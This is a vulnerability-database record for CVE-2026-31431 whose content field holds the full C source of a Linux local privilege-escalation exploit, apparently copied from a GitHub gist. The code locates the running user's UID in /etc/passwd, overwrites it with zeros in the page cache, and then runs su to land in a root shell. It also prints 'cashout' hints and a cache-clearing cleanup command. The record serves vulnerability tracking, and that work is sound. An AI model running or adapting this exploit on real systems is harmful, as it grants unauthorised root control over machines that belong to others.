{"uuid": "50f046f9-7d39-4209-af7a-ce35b111426d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/5a7493888e350d8c96772bff995cef0f", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant.\n *\n * Mutates /etc/passwd's page cache to set the running user's UID field\n * to \"0000\", then execs `su `. PAM authenticates against\n * /etc/shadow (untouched) using the user's real password; on success,\n * su's setuid() reads the corrupted /etc/passwd from the page cache and\n * lands in a root shell.\n *\n * Compared to exploit.c (the binary-mutation variant), this works on\n * any system where /etc/passwd is world-readable (every standard Linux\n * system) including environments that harden setuid binaries against\n * unprivileged read access.\n *\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n\n#include \"utils.h\"\n\n/* Find the byte offset of the UID field for `username` in /etc/passwd.\n * Returns -1 on error or if the user is not found. */\nstatic off_t find_uid_offset(const char *username) {\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd &lt; 0) { perror(\"open(/etc/passwd)\"); return -1; }\n\n    char buf[65536];\n    ssize_t n = read(fd, buf, sizeof buf - 1);\n    close(fd);\n    if (n &lt;= 0) { perror(\"read(/etc/passwd)\"); return -1; }\n    buf[n] = '\\0';\n\n    size_t namelen = strlen(username);\n    char *line = buf;\n    while (line &lt; buf + n) {\n        char *eol = memchr(line, '\\n', (buf + n) - line);\n        size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line);\n\n        if (linelen &gt; namelen + 1 &amp;&amp;\n            memcmp(line, username, namelen) == 0 &amp;&amp;\n            line[namelen] == ':') {\n            /* line: name:x:UID:GID:gecos:home:shell */\n            char *colon1 = memchr(line,            ':', linelen);\n            if (!colon1) break;\n            char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line));\n            if (!colon2) break;\n            return (off_t)((colon2 + 1) - buf);\n        }\n        if (!eol) break;\n        line = eol + 1;\n    }\n\n    fprintf(stderr, \"[-] could not find user %s in /etc/passwd\\n\", username);\n    return -1;\n}\n\nint main(void) {\n    uid_t uid = getuid();\n    struct passwd *pw = getpwuid(uid);\n    if (!pw) { perror(\"getpwuid\"); return 1; }\n\n    fprintf(stderr, \"[+] user:    %s (uid=%u)\\n\", pw-&gt;pw_name, uid);\n\n    off_t uid_offset = find_uid_offset(pw-&gt;pw_name);\n    if (uid_offset &lt; 0) return 1;\n\n    fprintf(stderr, \"[+] /etc/passwd UID field at offset %lld\\n\",\n            (long long)uid_offset);\n\n\n    int fd = open(\"/etc/passwd\", O_RDONLY);\n    if (fd &lt; 0) { perror(\"open(/etc/passwd)\"); return 1; }\n    \n    /* Read up to 10 digits starting at uid_offset to find the field length. */\n    char fieldbuf[12] = { 0 };\n    ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset);\n    if (nr &lt; 1) { perror(\"pread\"); close(fd); return 1; }\n\n    /* Find length of the existing UID field (up to next ':') */\n    int old_uid_len = 0;\n    while (old_uid_len &lt; nr &amp;&amp; fieldbuf[old_uid_len] != ':')\n        old_uid_len++;\n\n    if (old_uid_len == 0 || old_uid_len &gt; 10) {\n        fprintf(stderr, \"[-] could not determine UID field length\\n\");\n        close(fd); return 1;\n    }\n\n    /* Left-pad old_uid_len.\n     * /etc/passwd allows leading zeros so 0000 is uid 0. */\n    char padded[11];\n    memset(padded, '0', old_uid_len);\n    padded[old_uid_len] = '\\0';\n\n    fprintf(stderr, \"[+] old field: \\\"%.*s\\\" (%d bytes), new field: \\\"%s\\\" (%d bytes)\\n\",\n            old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len);\n\n    /* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */\n    char expected[11];\n    snprintf(expected, sizeof expected, \"%u\", uid);\n    int expected_len = (int)strlen(expected);\n    if (old_uid_len &lt; expected_len ||\n        memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) {\n        fprintf(stderr,\n                \"[-] sanity check failed: field \\\"%.*s\\\" doesn't end with \"\n                \"expected uid \\\"%s\\\"\\n\",\n                old_uid_len, fieldbuf, expected);\n        close(fd); return 1;\n    }\n    fprintf(stderr, \"[+] sanity check ok\\n\");\n\n    /* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */\n    for (int off = 0; off &lt; old_uid_len; off += 4) {\n        unsigned char chunk[4];\n        int n = old_uid_len - off &lt; 4 ? old_uid_len - off : 4;\n\n        if (n &lt; 4 &amp;&amp; pread(fd, chunk, 4, uid_offset + off) != 4) {\n            perror(\"pread on final chunk\");\n            close(fd); return 1;\n        }\n        memcpy(chunk, padded + off, n);\n\n        if (patch_chunk(fd, uid_offset + off, chunk) &lt; 0) {\n            fprintf(stderr, \"[-] page-cache mutation failed at offset %lld\\n\",\n                    (long long)(uid_offset + off));\n            close(fd); return 1;\n        }\n    }\n\n    close(fd);\n\n    fprintf(stderr,\n            \"[+] /etc/passwd page cache mutated; %s's UID is now %s\\n\",\n            pw-&gt;pw_name, padded);\n    fprintf(stderr,\n            \"[+] attempting cashout via `su %s`\\n\", pw-&gt;pw_name);\n    fprintf(stderr,\n            \"[!] If su fails with \\\"Cannot determine your user name\\\"\\n\"\n            \"    (shadow-utils' caller-identity check), the page cache\\n\"\n            \"    mutation is still active. Pivot to another cashout\\n\"\n            \"    that consults /etc/passwd.\\n\");\n    fprintf(stderr,\n            \"[+] cleanup after testing (run as root):\\n\"\n            \"    echo 3 &gt; /proc/sys/vm/drop_caches\\n\\n\");\n\n    execlp(\"su\", \"su\", pw-&gt;pw_name, (char *)NULL);\n    perror(\"execlp(su)\");\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:19:53.000000Z"}